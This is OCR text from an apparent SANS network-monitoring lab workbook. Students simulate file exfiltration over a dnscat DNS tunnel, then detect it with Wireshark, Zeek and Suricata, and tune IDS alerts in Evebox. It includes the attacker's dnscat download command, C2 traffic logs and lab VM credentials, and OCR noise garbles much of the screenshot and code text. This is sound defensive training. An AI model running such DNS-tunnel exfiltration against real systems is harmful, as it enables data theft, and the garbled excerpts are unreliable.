» docker0 — Ethernet v default 2
br-0837f2e784cf Ethernet &~ default 2
Addresses: 5.30.5.1, fe80::42:21ff:fe71:1602
» vetha03b174 Ethernet v default 2
» vethc38a323 Ethernet v default 2
any Linux cooked v default 2
» Loopback: lo —_— Ethernet v default 2
» br-3350689a7ced — Ethernet v default 2
» br-ed2c17571aca _— Ethernet v default 2
» br-175¢3966a20f — Ethernet v default 2
Capture  Enable promiscuous mode on all interfaces | Manage Interfaces...
...using this filter: | N en| Capture filter for selected interfaces: | [l | Ent e filt > Compile BPFs | interfaces shown
docker0 ——
br-0837f2e784cf =
vetha03b174 J—
vethc38a323 —

When prompted if you want to save the previously selected packets click on Continue without Saving.
o Unsaved packets... x

e Do you want to save the captured packets before starting a new capture?

Your captured packets will be u don't save them.

Cnnﬁnueyjthnuts.auing‘ I Cancel ‘ -

Right away, and assuming you haven't closed the terminals where the DNS tunnel was established with
dnscat, you should see evidence of the command and control traffic.
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Time Source Destinatior Protocol ' Lengtt
144 65.703968358 5.30.5.2 5.30.5.1 DNS 158 Standard query response ©xcda9 MX dnscat.09260187e457950abcd98335a42439be7a MX 10 dnscat.5e840187e45c85bd2ff43df I 16dr02074
145 66.712035753 5.30.5.1 5.30.5.2 DNS 161 Standard query ©x2143 MX dnscat.cab80187e43d4ce123770935a54ara287b
146 66.712498678 5.30.5.2 5.30.5.1 DNS 158 Standard query response ©x2143 MX dnscat.cab00187e43d4ce123770935a54afa287b MX 10 dnscat.f0960187e4bdf653d9deSafffr6dro2074
147 67.723565511 5.30.5.1 5.30.5.2 DNS 101 Standard query ©xccée CNAME dnscat.a7760187e4130ad9eb59c135a6b9930dfe
148 67.724051834 5.30.5.2 5.30.5.1 DNS 156 Standard query response Oxcc6e CNAME dnscat.a7760187e4130ad9eb59c135a6b9930dfe CNAME dnscat.28cb@187eda3a573aa304efff16dr02074
149 68.733438854 5.30.5.1 5.30.5.2 DNS 101 Standard query Oxbbe® TXT dnscat.28ab@187e487addadd655635a78de3bdr3
150 68.733993834 5.30.5.2 5.30.5.1 DNS 148 Standard query response ©xbbe® TXT dnscat.28ab0187e487addadd655635a78de3b4f3 TXT
151 69.747497487 5.30.5.1 5.30.5.2 DNS 161 Standard query ©x94c9 TXT dnscat.5d260187e47261e4815c2235a863c9r51f
152 69.748078111 5.30.5.2 5.30.5.1 DNS 148 Standard query response 6x94c9 TXT dnscat.5d260187e47261e4815c2235a863c9r5ff TXT
153 70.759315917 5.30.5.1 5.30.5.2 DNS 101 Standard query ©x5bd2 CNAME dnscat.27dc0187e432f0bd6db40c35a91b2034e4
154 70.759844618 5.30.5.2 5.30.5.1 DNS 156 Standard query response ©x5bd2 CNAME dnscat.27dc0187e43278bd6db40c35a91b2034e4 CNAME dnscat.e7410187e4da53815416197 164102074

Now that we've tapped our sensor into the right location let's complete the exfiltration now.
Within the attacker terminal, issue the command below to download sensitive_data.csv from the
Student VM.

command (Security530) 1> download sensitive data.csv

You should see "Attempting to download sensitive data.csv to
sensitive data.csv"andthen many "POTENTIAL CACHE HIT" entries. After approximately
30 seconds, you should see the following output:

POTENTIAL CACHE HIT
POTENTIAL CACHE HIT
POTENTIAL CACHE HIT
Wrote 1281409 bytes from sensitive data.csv to sensitive data.csv!

This means that the file has been successfully downloaded. To prove this first close out of dnscat by
typing exit and pushing ENTER within the attacker terminal.

If you were keeping an eye on the Wireshark window in the background, while you were doing the
exfiltration, you may have seen that a higher number of DNS requests and responses filled up the packet
list.

At this point, let's save our full packet capture.

Click on the stop button to stop capturing packet.

File Edit View Go Capture Analyze

m I ® XEC

Stop capturing packets

v

No fime Source
1 0.600000000 172.17.0.1
‘ 2 1.001909581 172.17.0.1
3 2.003569687 172.17.0.1
4 3.004492926 172.17.0.1
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SEC530 - SANS ©2019

Then save the capture under /labs/3.1

*br-0837f2e784cf

m Edit View Go Capture Analyze Statistics Telephony Win

Open Ctrl+O A A A
- = 2=
»
—

(i

Open Recent

Merge...

Import from Hex Dump... IDestination

Close Ctri+w

-

.2
o
Save As... Ctrl+Shift+S i
File Set ’ i
. :05:1e:05:02
Export Specified Packets... :21:71:16:02
Export Packet Dissections ’ E .2
Export Packet Bytes... CtrisShiftsX F* o
2 E
Export PDUs to File... bytes captured (86!
Export SSL Session Keys... $21:71:16:02), Dst:
b » Dst: 5.30.5.2
Export Objects st Port: 53
Print... Ctri+P
Quit Ctri+Q
Answer RRs: 0

Autharituv DDRe- 0O
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v Wireshark - Save Captura File &z + X

Look in: | B /home/student/Desktop/pcaps - | Q O O A [
E Computer MName ¥ | Size Type Date Modified
B <tudent | |BB bonus Folder  3/13/1..:54 AM

File game:l f[ab5f3.1fdn5tunnel.pcap| ! ] ﬁ
i Cancel

Help

Save as: | Wireshark/... - pcapng =

(| Compress with gzip

And make sure that the file is saved as pcap (modified tcpdump), versus the new pcapng format that's
selected by default. We do this because the standard pcap format will allow us to use a wider variety of
analysis tools against it.
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NS AR Nfondard ouassd kiveaes N ancoalt  Toall a4 250

v Wireshark - Save Capture File As

Look in: [B MmélaudenuoeshoNpaps

AR AR !

+ X |M

-0 © 0 2 @[

. Wireshark/... - pcapng

Wireshark/tcpdump/... - pcap
Wireshark/tcpdump/... - nanosecond pcap
Modified tcpdump - pcap

Nokia tepdump - pcap
RedHat 6.1 tcpdump - pcap
SuSE 6.3 tcpdump - pcap

InfoVista SView capture

Endace ERF capture
HP-UX nettl trace

Microsoft NetMon 1.x
Microsoft NetMon 2.x

Sniffer (DOS)

NetXray, Sniffer (Windows) 1.1
Sniffer (Windows) 2.00x
Network Instruments Observer
Novell LANalyzer

Sun snoop

Visual Networks traffic capture
K12 text file

1 TamoSoft CommView

! Computer Name v Size Type Date Modified

9 student = bonus Folder  3/13/1..:54 AM
1.pcap 6 KB pcap File 3/13/1..:39 AM
2.pcap 72 KB pcap File 3/15/18 2:56 PM
3.pcap 23 KB pcap File 3/15/18 3:32 PM
4.pcap 1.5MB pcap File 3/15/1..:10 AM
S.pcap 3.6 MB pcap File 3/15/1...:35 AM
6.pcap 10KB pcap File 3/13/1..:58 AM

_

Packets:

When ready, click on Save. The file should be located under the /1abs/3.1 directory.

You can now close out dnscat by typing exit and pushing ENTER within the attacker terminal.

command (Security530) 1> exit
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Go back to your criginal student VM terminal where you ran dnscat and press CTRL + C to stop the client and
regain your terminal.

WARNING 1] :: Terminating

i
[/labs/3.1]1%

3. Use Zeek (Bro) to detect abnormal DNS requests.

Dnscat is a very noisy C2 and exfiltration tool. It uses an unusually high number of MX, CNAME and TXT
records, with very long nonce domains and a high number of subdomains with a high degree of entropy
or randomness.

To get Zeek to parse the traffic we just captured we will open up a terminal, change to the /labs/3.1
directory, create a new working directory called bro-dns and run Bro against dns-tunneling.pcap from
that directory:

S cd /labs/3.1

In this case, we'll create a new directory for the new bro logs we will create and save the output there:

S mkdir bro-dns
$ cd bro-dns
S bro -r ../dnstunnel.pcap -C

Let's have a look at the resultant files.

Having a look at dns.log can confirm our suspicion that this is very abnormal traffic. As discussed before,
we'd see a high number of MX, CNAME and TXT records with high entropy subdomains. A closer look at
those strings reveal that these are actually hexadecimal digits:

$ cat dns.log

1551581113.149694 CmRbOu4sWf9HVeJSV1 5.30.5.1 5537
7 5.30.5.2 53 udp 53969 dnscat. 6cd00
187e450166285ea0£f4£1900061b15d2219dc9d14941964d64c55b44.£f2e409ead9a5a6b
150248c25aacbl55bfd7b0£60977557£393592d1a07b8.2254022fcd732ealb7befa332
a99c27059%9afb3e3fb3a0ed2e9d08737£7£fc.bd092ad6d621927e23c2a6d9%albb01a38ct

87224d2434fae5a 1C_INTERNET 16 TXT 0
NOERROR F F T T 0 TXT 34
08call87e47a356b0776a0ffffodeded20 60.000000 F
1551581113.151213 CmRbOu4sWf9HVeJSV1 5.30.5.1 5537
7 5.30.5.2 53 udp 26448 dnscat.756b0

187e479c7b60e3a164£f1a40235f£fd564fbf813239b39713021£672b.db84157b1941ac8
d942656£5a69642448774acle242383bb99c93cedaldd. 90ea2f0£f16a88350cb3efdd7d
18c04b3bcbaebbd8f8f74afbf36aa%1025e.bbc5£021a4465ff27feec5aeb7b44b63££8
fb9c2e£701903c6 1C_INTERNET 15 MX 0
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NOERROR F F T T §) dnscat.988f
0187edacffd4dcf2549ffffededed8o 60.000000 F

1551581113.153487 CmRbOu4sWf9HVeJSV1 5.30.5.1 5537
7 5.30.5.2 53 udp 21195 dnscat.ae590

187e42d8ccf8£fd8074£f1b5c68b077e28ae8115£39fb083c3808£5b6.0068c71993dd6af
6£d9b47b3fe72abed48cb538cc62ddcael736710109611.e7787£f51a4lef8c15dd7£721f
d32461554d325177508d666d15df6ead8e4d.7904a776c66cace86d20e8ea70daf93af34

21548334c7a504b 1C INTERNET 15 MX 0

NOERROR F F T T 0 dnscat.1d99
0187e4879732d4aallffffedededed 60.000000 F
1551581113.155422 CmRbOu4sWf9HVeJSV1 5.30.5.1 5537
7 5.30.5.2 53 udp 28250 dnscat.68d20

187e44£85b528dal64£f1c3827clcb46057dd2d4d£f8b55a0defd44ce. £e3a990c89bfdb7
ca96bd4ef4e680al1497d4d87da889bpde24a9£f00e3974ab.ebcf8l1ala96e7d20ac34c7£0
0£87c2843502bf34ea0831b0d55£889a3c5.6e6c5adc9089b35e26408844e8741edfc8e

da5febea6a7a87b 1C_INTERNET 16 TXT 0
NOERROR F F T T 0 TXT 34
70250187e4d86bc2423186ffff6dedecTa 60.000000 F
1551581113.156586 CmRbOu4sWf9HVeJSV1 5.30.5.1 5537
7 5.30.5.2 53 udp 47623

But, how can we detect this at scale in a production network? We will illustrate the power of Zeek's
scripting engine by creating a custom DNS analytics script in the BONUS section.

BONUS: Leveraging metadata and Zeek scripting engine to uncover advanced threats

Since the purpose of this class is not to learn Zeek's scripting but to learn how to architect and engineer
NSM, we will make use of a simple script called dns-bad_behavior.bro located under /labs/3.1. This
script can also be downloaded from https://raw.githubusercontent.com/sooshie/bro-scripts/master/2.4-
scripts/dns-bad behavior.bro

Make sure you're on the newly created bro directory:

S cd /labs/3.1/bro-dns

Run Zeek against the dnstunnel.pcap file, this time passing as an argument the name of the script dns-
bad_behavior.bro:

$ bro -r ../dnstunnel.pcap ../dns-bad behavior.bro -C

When completing this command, Zeek will parse the traffic we collected making use of the script
supplied. If the script engine finds a match, it will create an entry on the notice.log file. In this case, you'll
observe how after completing the command, Zeek will create an entry on notice.log indicating that the
DNS traffic collected has oversized queries:

S cat notice.log
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1551581106.205753 CL5WQb3nJcCUMttcWh 5.30.5.1 55377

5.30.5.2 53 - - - udp
DNS: :Oversized Query
Query:

dnscat.28910187e4870b810a0c5£36d4d3cd061a3b65775e760341e9ab2519bf0e.9d4
03631a57137de23814b2ded425¢c96cc2fb80f29cb6d9dd58ac94095ee3.9282c3596abe’
7256dfc5df1d1d88878£247c545¢c63a23eb48a8bablede3.30d5fd21¢c31a%4ab744d4d9
ecf8f9d32e3003b6170f553066f Query type: 16 5.30.5.1 5.30.5.2

53 - bro Notice: :ACTION_ LOG 1200.000000 F

#close 2019-03-02-23-03-56

If we have a look at the dns-bad_behavior.bro script, we can see that this C-like piece of code is
responsible for this detection:

event dns request(c: connection, msg: dns msg, query: string, gtype:
count, gclass: count)
{
if (gtype !in ignore gtypes && cSidSresp p !in dns ports ignore)
{
if (c$idSresp p != 53/udp && cS$idS$resp p != 53/tcp)
{
NOTICE ([$note=DNS::Not p53,
Sconn=c,
Smsg=fmt ("Query: %s", query),
Ssub=fmt ("Query type: %s", gtype),
$identifier=cat (c$idSorig h,c$idSresp h),
$suppress for=20min
1)
}

if (lqueryl| > dns _query oversize && ignore DNS names !in query)
{
NOTICE ([$note=DNS: :Oversized Query,
Sconn=c,
Smsg=fmt ("Query: %s", query),
Ssub=fmt ("Query type: %s", gtype),
$identifier=cat (c$idSorig h,c$idSresp h),
$suppress for=20min

1)7

SumStats: :observe ("Detect.dnsTunneling",
[Shost=c$idSorig h,
$str=cat (c$idSorig p,", ",
c$idSresp h,",",
c$idSresp p,",",

cat ("Query: ",query),",",
cat ("Query type: ",qtype),",",
csuid) ],

[$Snum=1]) ;

}
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The script defines a constant to set the size at which DNS query domain name is considered interesting:
const dns query oversize = 90 &redef;

Based on Zeek's powerful detection and scripting engine, the possibilities to alert on this activity or
orchestrate a response are endless. For example, we could send an alert to our SIEM or trigger any kind
of custom reaction through a restful API. We will discuss how to implement some of this automation and
orchestration workflows later in class, on Day 5.

Now close out the lab by closing out of the attacker terminal. Then in the student terminal run the
command below. You need to press CTRL+C to stop the previously running dnscat client within the
student terminal before running the command below.

$ sudo pwsh /labs/check.psl -check postcheck -lab egress

NOTE: If you cannot run the command above then you may need to press CTRL-C to close out of the
dnscat client session.
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Lab Conclusion

In this lab, you have learned how to instrument a network for Network Security Monitoring. This
included:

o Analyzing the metadata in an offline traffic capture that includes evidence of command and control
using DGA, and learning how the location of the NSM sensors affect the level of visibility that these
solutions provide

o Learning how depending on the location of the NSM sensor, the source of the malicious DNS traffic
could be shown as the DNS server itself

o Simulating a common modern threat like exfiltration over DNS while capturing traffic with
Wireshark and analyzing it with Zeek
Proving the value of behavioral analysis using metadata
Learning how docker networking works, and how to sniff traffic between the host and a container
Understand how Zeek scripts can be leveraged to write custom detections and uncover advanced
threats like DNS tunneling.

The Architecting for NSM lab is now complete!
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Exercise 3.2 - Network Security Mon

Objectives

Learn how to fix the failings of a traditional intrusion detection system

Use network security monitoring tools to identify modern attacks

Understand the difference between alert investigation and network metadata analysis

Apply principals of knowing thy self to identify abnormal activity

Combine tools and data to build a more comprehensive picture of what happens on a network

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Before beginning this lab, you will need to start Evebox by running the following command:

$ sudo pwsh /labs/check.psl -check precheck -lab 3.2

This will start up docker containers so that logs from Bro or Suricata can be analyzed by either Kibana or
Evebox.

Kibana can be accessed at http://localhost:5601.
Evebox can be accessed at http://localhost:5636.

For data to be visible by either Kibana or Evebox, logs must but placed in the locations specified below in
JSON format.

Suricata's eve.json log should output to "/labs/3.2/student/suricata_logs/eve.json".
Bro logs should be output to the "/labs/3.2/student/bro_logs" folder.
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The following is a breakdown of assets found within the traffic being analyzed for this lab.

Servers are at 192.168.2.0/24

IT systems are at 10.0.0.0/24

Accounting systems are at 10.0.1.0/24

HR systems are at 10.0.2.0/24

An on-premises vulnerability scanner is at 192.168.2.106

Exercise: No hints

This lab is based on using Suricata and/or Bro to analyze network metadata and alerts found within
/labs/3.2/capture.pcap. If you output logs in the folders specified in the Exercise Preparation section, you
may use Kibana or Evebox. Alternatively, you can attempt to use command line tools to analyze the output of
Suricata and Bro.

1. Use Suricata to identify alerts found within /labs/3.2/capture.pcap using IDS rules found in
/labs/3.2/rules.
2. Analyze the IDS alerts generated and identify recommendations for tuning.
3. Identify which system appears to be compromised
e What system is it?
e What traffic appears to be command and control traffic?
e Where is this traffic going to?

Bonus - What site did the system that appears to be compromised access prior to the traffic that appears to
be command and control traffic? Also, what is the hostname of the asset compromised?
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Exercise — Step-by-step instriuctions

1. Identify alerts in capture.pcap

To identify the alerts found within capture.pcap you first need to run Suricata against the pcap file. To do
so, run the commands below.

$ cd /labs/3.2
$ suricata -c /labs/3.2/suricata.yaml -r /labs/3.2/capture.pcap --
runmode autofp -k none

Ignore any errors that output to the screen such as below.

10/3/2018 -- 21:32:12 - <Error> - |
SC_ERR UNKNOWN DECODE EVENT (186)] -
10/3/2018 -- 21:32:12 - <Error> - |

SC_ERR INVALID SIGNATURE (39)] -

10/3/2018 -- 21:32:12 - <Error> - [ERRCODE:
SC_ERR_UNKNOWN DECODE_EVENT (186)] -
10/3/2018 -- 21:32:12 - <Error> - [ERRCODE:

SC_ERR_INVALID SIGNATURE (39)] -

Suricata has completed processing capture.pcap when you see the below output. Please note the dates
will be different on your system.

10/3/2018 —-- 21:32:12 - < > - all 3 packet processing threads, 2
management threads initialized, engine started.

10/3/2018 —-- 21:32:21 - < > - Signal Received. Stopping engine.
10/3/2018 —-- 21:32:22 - < > — Pcap-file module read 406228

packets, 197926947 bytes
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At this point, Suricata has output any alerts generated as well as additicnal network metadata to a file
called eve.json found within the /labs/3.2/student/suricata_logs folder. Verify the file has been created
by issuing the following command:

$ tail /labs/3.2/student/suricata logs/eve.json

Note: The eve.json file contains alerts when "event_type":"alert" is set. Network metadata such as flow
and dns logs also exist in eve.json. These logs are marked as "event_type":"flow" and "event_type":"dns"
respectively.

To see how many alerts were created, run the command below.

$ cat /labs/3.2/student/suricata logs/eve.json | grep
'"event type":"alert"' | wc

The results should look similar to:

2158 14327 1095051
This means there are 2,158 alerts. This number may be slightly different on your system.

At this point, eve.json can be analyzed using command line tools, or you can switch to software that
allows easy searching and centralized big data analysis. Fortunately, in the background, software is
running that is monitoring /labs/3.2/student/suricata_logs/eve.json. When logs are added to this file
they are imported into an Elasticsearch system so that they can be analyzed with either Kibana, a GUI
interface for searching logs in Elasticsearch, or Evebox, a purpose-built search interface for Suricata logs
in Elasticsearch.

Evebox is a dedicated interface for searching Suricata data and will be used in this lab. To access Evebox
open up Google Chrome by clicking on the Chrome icon in the top left corner of your VM.

Next, enter http://localhost:5636 in the search bar and hit enter.

& EveBox- Google Chrome

EveBox 4 /

“ C 0O | [ localhost: 5631
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The default page loaded is called Inbox. It lists out alerts that are available for an analyst to investigate.
The interface shows the total count of a given alert and provides an analyst the ability to close an alert by
archiving it, escalating an alert, or filtering down on information about an alert.

Note: If Evebox does not have alerts wait a minute or two. This labs deals with live ingestion of Suricata
and Bro logs. You have just run suricata manually so that it would output an eve.json log. In the
background a log agent called Filebeat is picking it up, shipping it to a log aggregator called Logstash, and
then Logstash is parsing the log and storing it in a back-end storage system called Elasticsearch. Evebox is
just a GUI for Elasticsearch.

EveBox Inbox Escalated Alerts Events Reporis - Last hour v Help & ~ [
Filter button
Select All Filter... Ap 'y  Clear
Escalate button
Showing 1-48 of 48. Count of lewes ‘ ewer lde
Alert
# Tip#estamp Source [ Dest Signature Archive button
> v 2004 18-03-10 21:35:561 S:192.168.2.101 ET POLICY RDP connection confirm \ Archive ?h - 7
an hour ago D: 192.168.2.106 | 1
w1l 2018-03-10 21:35:50 S:192.168.2.106 SURICATA HTTP missing Host header 1. Select all with SID: 2001330
an hour ago D: 192.168.2.101 2 Filter on SID: 2001330
w 2 2018-03-10 21:35:49 S:192.168.2.106 SURICATA HTTP Host header ambiguous S P 00 16 R
an hour ago D: 192.168.2.101 eUrcer IR I LIe Lat:2.
Y 4 2018-03-1021:35:49 S:192.168.2.106  ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection Dastination;|E:report 1or192.168.2.106
an hour ago D: 192.168.2.101

Optional - Run the commands below to run Bro against capture.pcap. These logs will automatically be
imported into Elasticsearch and can be searched from within Kibana (http://localhost:5601).

$ cd /labs/3.2/student/bro logs
$ bro -r /labs/3.2/capture.pcap /labs/3.2/analysis.bro -C

Bro will throw errors about No Site::local_nets being defined as well as a few field value missing
messages. These are normal and can be ignored.

2. Analyze IDS Alerts

Within Evebox click on Reports and then Alerts.

EveBox X \

= C O |{§} localhost:5636/#/Inbo)

Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookms

2115 E-.-*eri Reporis ~

EveBox |Inbox Escalated
Alerts

Select All 9 "l DMNS

This will load up a high-level report on alerts within the system. Looking at the Top Alert dashboards
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shows that the highest count alert is for ET POLICY RDP connection confirm. It also shows that the top
source IP is 192.168.2.101 and the top destination is 192.168.2.106.

This activity is odd as 192.168.2.106 is the organization's vulnerability scanner and based on the counts it
looks like there are RDP connections from 192.168.2.101 to 192.168.2.106. Investigate this by clicking on
the alert ET POLICY RDP connection confirm.

Top Alert Signatures
# Signature
2004 ET POLICY RDP connection confirm
31 ET POLICY Suspicious inbound to mySQL port 3306
19 ET POLICY Suspicious inbound to PostgreSQL port 5432
17 ET POLICY Suspicious inbound to MSSQL port 1433

Drilling down into these alerts shows each alert deals with 192.168.2.101 and 192.168.2.106 with
192.168.2.101 showing up as the source address.

Timestamp Type Source/Dest Description
2018-03-10 11:42:24 ALERT 5:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106
2018-03-10 11:42:24 ALERT 5:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106
2018-03-10 11:42:24 ALERT 5:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106

Click on the top alert to drill down even further.

Timestamp Type Source/Dest Description
2018-03-10 11:42:24 ALERT S:192.168.2.101 ﬁr POLICY RDP connection confirm
11 hours ago D: 192.168.2.106
2018-03-10 11:42:24 ALERT S:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106
2018-03-10 11:42:24 ALERT S:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106

The resulting view shows details about the specific alert you clicked on. Notice, the source port is 3389,

and the destination port is a high numbered ephemeral port such as 33774. Terminal services (RDP) runs

on port 3389 by default. Therefore, 192.168.2.101 is likely the destination. IDS systems log based on the

direction the alert matches a packet. This can be confusing as sometimes the source IP and destination IP
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address are flipped.

ALERT: ET POLICY RDP connection confirm

Timestamp 2018-03-10T11:42:24.715336-0500 Signature ET POLICY RDP connection confirm
Protocol TCP Category Misc activity
Source 192.168.2.101 :3389’ Signature ID  1: 2001330 :8

Destination 192.168.2.106 :33774 Severity 3
FlowID 94293000975008

The true benefit of a network security monitor vs. a traditional IDS system is that additional data is

available outside of alerts. To pivot from an alert to other information related to the same connection
click on the Flow ID.

ALERT: ET POLICY RDP connection confirm

Timestamp 2018-03-10T11:42:24.715336-0500 Signature ET POLICY RDP connection confirm
Protocol TCP Category Misc activity
Source 192.168.2.101:3389 - Signature ID  1: 2001330 :8
Destination 192.168.2.106 :33774 ~ Severity 3
FlowID 94293000975008 ’

Pivoting shows other related information. The first log shows a flow log with the correct source and
destination. This confirms the assumption that 192.168.2.101 is the actual destination and that a
vulnerability scanner initiated the connection. This is a false positive.

flow_id:"94293000975008"

Event Type: All ~

Timestamp Type Sourcel/Dest Description
> 2018-03-10 11:58:37 FLOW  S:192.168.2.106 TCP 192.168.2.106:33774 -> 192.168.2.101:3389; Age: 0; Bytes: 626; Packets: 8
11 hours ago D: 192.168.2.101
2018-03-10 11:42:24 ALERT S:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106
2018-03-10 11:42:24 ALERT S:192.168.2.101 ET POLICY RDP connection confirm
11 hours ago D: 192.168.2.106

Switch back to the Alert report dashboard by clicking on Reports and then Alerts.
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J EveBox » \N

i C 0O |(D localhost:5636/#/Inbox

Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookms

EveBox Inbox Escalated 6[5 E-.-fevﬁ: Reports ~

Alerts
Select All e "I DNS

To filter out alerts to or from the vulnerability scanner enter -192.168.2.106 in the Filter box and then

click on Apply.
-192.168.2.106 Apply  Clear

Alerts Over Time

This filter eliminates a large portion of the alerts, as traffic from a vulnerability scanner will create false
positives.

Tuning recommendation # 1 - Eliminate false positives by removing the vulnerability scanner from being
visible by the network security monitor system. Alternatively, use software BPF capabilities of Suricata,
Snort, or Bro to ignore traffic from the vulnerability scanner.

Note: BPF stands for Berkeley Packet Filter. A BPF is used to prevent a packet analyzer from inspecting
traffic.

Looking at the remaining alerts, and specifically the Top Alerting Source IPs, almost all alerts show up as
sourcing from 10.0.0.51 which is an IT desktop.

Top Alerting Source IPs

# Source

110 10.0.0.51

1 / 192.168.2.17
1 102.168.2.24

Adjust the filter by adding 10.0.0.51 and then click on Apply. This adjustment is made to hone in on alerts
to or from 10.0.0.51.
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-192.168.2.104 10.0.0.51 Apply  Clear

Looking at the alert signatures related to the IT desktop it appears almost all of them relate to port
scanning activity. This is visible in the signatures with Suspicious inbound and ET SCAN in their name.

Top Alert Signatures
# Signature
19 ET POLICY Suspicious inbound to PostgreSQL port 5432
17 ET POLICY Suspicious inbound to MSSQL port 1433
17 ET POLICY Suspicious inbound to mySQL port 3306
16 ET POLICY Suspicious inbound to Oracle SQL port 1521
12 ET SCAN Potential VNC Scan 5900-5920
9 ET INFO Windows OS Submitting USBE Metadata to Microsoft
7 ET SCAN Potential VNC Scan 5800-5820
5 ET SCAN Potential SSH Scan OUTBOUND
4 ET POLICY DNS Update From External net
2 ET SCAN Potential SSH Scan

The other alerts of ET INFO Windows OS Submitting USB Metadata to Microsoft and ET POLICY DNS
Update from External net are not high priority alerts dealing with post-compromise or trojan activity. If
you were to investigate the ET POLICY DNS Update from External net by clicking on it and then clicking
on the alert dealing with 10.0.0.51 you would notice the alert is for a standard DNS lookup.

5 ET SCAN Potential SSH Scan OUTBOUND

4 ET POLICY DNS Update From External net

2 ET SCAN Potential SSH Scan \

Timestamp Type Source/Dest Description
? 2018-03-10 11:36:35 ALERT S:192.168.2.106 ET POLICY DNS Update From External net
a day ago D:192.168.2.101
2018-03-10 11:33:28 ALERT S:10.0.0.51 “ ET POLICY DNS Update From External net
a day ago D:192.168.2.101
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JSON

1~ [

2 _1d": "LGzpEmIBeV4sIF34-IAY™,

3 _index": "logstash-2818.83.117,

4 _score”: @,

5 _source™: {

6 @timestamp”: "281B-83-11T02:35:42.559Z",

7 @version™: "1"

B~ alert™: {

g action™: "allowed”,

18 category”: "Potential Corporate Privacy Violation”,
11 gid”: 1

12 rev : 5,

13 severity”: 1,

14 signature”: "ET POLICY DNS Update From External net”,
15 signature_id": 2889762

16 1

17 ~ beat™: {

18 hostname”: "e74d53cd5288",

19 name”: "eT4d53cd3288",

28 version”: "6.2.27

21

22 dest_ip": "192.168.2.181",

23 dest_port™: 53,

24 BVENL_LypE 1 dLere ,

25 flow_id": 94293001224288,

26 host™: "eT4d53cd5288",

27 offset™: 1176675,

28 payload_printable™: "*.(.......... labmeinc.internal...... ITe1. labmeinc.internal............ - Hevvinnninan Bovivininnn Yn..3",
29 pcap_cnt”: 193999,

36~ prospector”: {

31 type”: "log”

32 f

33 proto™: "UDP",

34 == ik dent suricata_logs/eve. json”,
35 I src_ip”: "18.8.8.517, ]

Tuning recommendation # 2 - A business decision needs to be made on how to fix this issue. Most likely
the ET POLICY DNS Update from External net is generating because the SEXTERNAL_NET variable is set
to any. Therefore, even though the rule name is ET POLICY DNS Update from External net, it is firing on
an internal DNS request. The easy fix is to change SEXTERNAL_NET to !ISHOME_NET so that it reflects
only non-RFC 1918 addresses. However, that change would affect all rules and makes an IDS ineffective
for detecting internal to internal attacks. Alternatively, the rule can be adjusted manually or via tools like
pulled pork. This rule, in particular, could be changed to use !YSHOME_NET instead of SEXTERNAL_NET.

Switch back to the Alert report dashboard by clicking on Reports and then Alerts.

I,

J,f EveBox

X O

< cC 0O |(D localhost:5636/#/Inbox

Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookms

Select All

EveBox Inbox Escalated 6{5 E'-.-fevﬁ: Reports ~

Alerts

e DNS

This time, change the Filter to exclude traffic to or from the vulnerability scanner and IT desktop by

entering "-192.168.2.106 -10.0.0.51" and clicking on Apply.

-192.168.2.106 -10.0.0.51 . Apply  Clear
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After excluding these IP addresses, there are only two alerts remaining both of which are for ET POLICY
Dropbox Client Broadcasting.

Top Alert Signatures

# Signature
2 ET POLICY Dropbox Client Broadcasting

\

Top Alerting Source IPs

# Source
1 192.168.2.17
1 192.168.2.24

These alerts are POLICY alerts stating that someone may be violating corporate policy by having Dropbox
installed. This is a false positive if the corporation allows Dropbox or is a true positive in that the
unauthorized software needs to be dealt with.

Tuning Recommendation # 3 - If Dropbox is authorized, disable the signature. If Dropbox is not
authorized, but politics do not allow it to be removed implement auto-categorization to allow the alert to
generate but not hit the IDS console that analysts are expected to investigate. This can be done with
auto-categorization tools built into network security monitoring platforms or during log ingestion with a
SIEM.

At this point, no alerts have been found in Evebox relating to a compromised host. Keep in mind, alerts
are for the most part blacklist rules identifying known bad behavior. Thus, there is a good chance that
malicious activity can be taking place, but no IDS rule exists that will alert on it.
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3. Identify compromised asset

A large portion of network detection relies on network metadata rather than alerts. Network metadata
consists of data about network connections such as flow records, DNS, HTTP, and more. Switch to the
DNS dashboard by clicking on Reports and then DNS.

EveBox |Inbox Escalated Aleris Evenis Reporis ~

sy ONS

Metflow

The resulting dashboard shows information about DNS traffic observed on the network. This includes the
Top Request, Top Response, Top DNS Servers, Top DNS Clients, Top Requests Types, and Top Response
Codes.

The Top Request and Top Response reports do not show anything immediately alarming, but some of the
remaining reports do. The Top DNS Clients shows almost all DNS activity is coming from a desktop at
10.0.2.51. This desktop is on the HR subnet.

Top DNS Clients
# Client
759 10.0.2.51
322 \ 192.168.2.101
167 192.168.2.106
89 10.0.0.51

The Top Response Codes also reflect a high number of odd response codes like NXDOMAIN and
SERVFAIL.
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Top Response Codes

# RCode
2800 NOERROR

313 i sy XDOMAIN
110 sfbm sy SERVFALL

25 REFUSED

Drill into activity from 10.0.2.51 by clicking on 10.0.2.51 in the Top DNS Clients table.

Top DNS Clients

# Client
759 10.0.2.51
322 / 192.168.2.101

Clicking on the IP address will switch you to the Events tab and drill down on the IP address.

EveBox |Inbox Escalated Alerts' Events Reporis ~

+"10.0.2.51"

Event Type: All =

However, the drill down defaults to all event types when you are most interested in the odd number of
DNS requests. Click on Event Type: All and select DNS only to show DNS events.
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+"10.0.2.51"

Timesi Alert
2 2018-03 HTTP
a day ag Elow
2018-03
NetFlow
a day ag
201803 DNS

m Event Type: All ~
All

>

The results show multiple DNS requests to covertc2.com using CNAME, MX, and TXT records. This is odd
behavior for a desktop and is indicative of DNS tunneling.

Timestamp Type

?> 2018-03-10 11:56:41 DNS
a day ago
2018-03-10 11:56:41 DNS
a day ago
2018-03-10 11:56:41 DNS
a day ago
2018-03-10 11:56:41 DNS
a day ago
2018-03-10 11:56:41 DNS
a day ago

